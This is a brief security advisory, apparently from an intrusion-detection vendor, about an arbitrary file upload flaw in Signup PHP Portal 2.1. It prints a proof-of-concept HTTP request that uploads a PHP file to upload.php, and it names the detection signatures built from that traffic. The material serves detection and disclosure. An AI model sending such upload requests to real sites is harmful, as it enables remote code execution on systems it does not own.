Signup PHP Portal 2.1 File Upload

Application Details

Signup PHP Portal is a web based system which contains numerous different types of template, allowing the creation and maintenance of accounts to be easier. It also contains registration and email templates.


Signup PHP Portal could allow a remote attacker to upload arbitrary files, caused by the improper validation of file extensions by the upload.php script.


An attacker could exploit this vulnerability to upload a malicious PHP script, which could allow the attacker to execute arbitrary PHP code on the vulnerable system.

POST /signup_custom_script/upload.php HTTP/1.1

Content-Disposition: form-data; name="name"
Content-Disposition: form-data; name="file"; filename="file.php"
Content-Type: application/octet-stream
<?php echo phpinfo(); ?>


By turning this into a traffic file and matching rule, we are able to detect arbitrary file upload attempts to the application.


Idappcom has created signatures 8022230 and 8022231 along with traffic files.
